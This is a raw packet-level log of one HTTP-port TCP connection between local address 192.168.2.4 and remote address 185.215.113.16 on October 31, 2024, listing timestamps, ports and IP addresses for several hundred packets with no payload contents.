Oct 31, 2024 05:06:35.971431971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.971443892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.971486092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.971508980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975152969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975166082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975177050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975228071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975264072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975274086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975284100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975295067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975308895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975326061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975419044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975430012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975440025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975450039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975461006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975462914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975472927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975481033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975485086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975497961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975500107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975508928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975522995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975536108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975545883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975552082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975563049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975573063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975583076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975591898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975594997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975606918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975608110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975619078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975625992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975631952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975651979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975697994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975709915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975719929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975730896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975740910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975742102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975754976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975760937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975765944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975776911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975781918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975788116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975800037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975806952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975830078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975836039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975847006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975856066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975866079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975877047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975887060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975897074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975905895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975918055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.975918055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975935936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.975999117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976011038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976022005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976032972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976042032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976042032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976052999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976056099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976064920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976075888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976079941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976088047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976098061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976102114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976111889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976123095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976130009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976134062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976142883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976145983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976167917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976345062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976361036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976372004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976382971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976387024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976394892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976404905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976414919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976416111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976425886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976428032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976438046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976448059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976450920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976458073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976465940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976469994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976481915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976491928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976520061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976531029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976541996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976552963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976561069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976562977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976574898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976583958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976586103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976598024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976605892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976608992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976623058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976630926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976634026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976645947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976656914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976665020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976667881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976674080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976680040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976690054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976700068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976701975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976711035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976721048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976730108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976739883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976751089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976763964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976784945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976928949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976939917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976948977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976958990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976969957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976972103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.976988077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.976988077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977005005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977010012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977020979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977037907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977049112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977058887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977061987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977071047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977076054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977082968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977097988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977102995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977108955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977117062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977121115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977132082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977142096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977149010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977158070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977164030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977169037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977180958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977185011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977191925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977202892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977202892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977216005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977226019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977229118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977236986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977248907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977257013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977267981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977442980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977453947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977463961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977477074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977484941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977488041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977497101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977499962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977510929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977520943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977524996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977530956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977540016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977543116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977555037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977561951 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977566004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977577925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977588892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977591991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977606058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977612019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977624893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977638960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977643013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977649927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977660894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977670908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977670908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977684021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977694035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977700949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977705002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977715969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977725983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977736950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977740049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977746964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977756977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977762938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977768898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977780104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977792025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977796078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977803946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977806091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977814913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977823019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.977827072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977839947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:35.977854967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:35.978089094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.007479906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.008136034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021033049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021053076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021064997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021081924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021099091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021101952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021111012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021122932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021131039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021133900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021147966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021167994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021192074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021195889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021239996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021246910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021259069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021295071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021317005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021327972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021338940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021351099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021368027 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021392107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021411896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021421909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021429062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021450043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021460056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021461964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021473885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021483898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021488905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021503925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021512985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021517038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021527052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021539927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021543026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021550894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021563053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021567106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021616936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021657944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021668911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021678925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021696091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021712065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021714926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021722078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021733046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021745920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021753073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021756887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021768093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021779060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021783113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021789074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021795988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021806955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021812916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021816969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021827936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021837950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021847010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021857977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021864891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021867990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021878958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021886110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021889925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021902084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021923065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021929979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021945000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021948099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021956921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021967888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021981955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.021984100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021994114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.021998882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.022006035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022017002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022023916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.022027016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022039890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022056103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.022079945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.022080898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022092104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022108078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022118092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022128105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022136927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.022138119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022155046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.022171974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022182941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022187948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.022195101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022228003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.022232056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022371054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022381067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022391081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.022402048 CET	80	49744	185.215.113.16	192.168.2.4
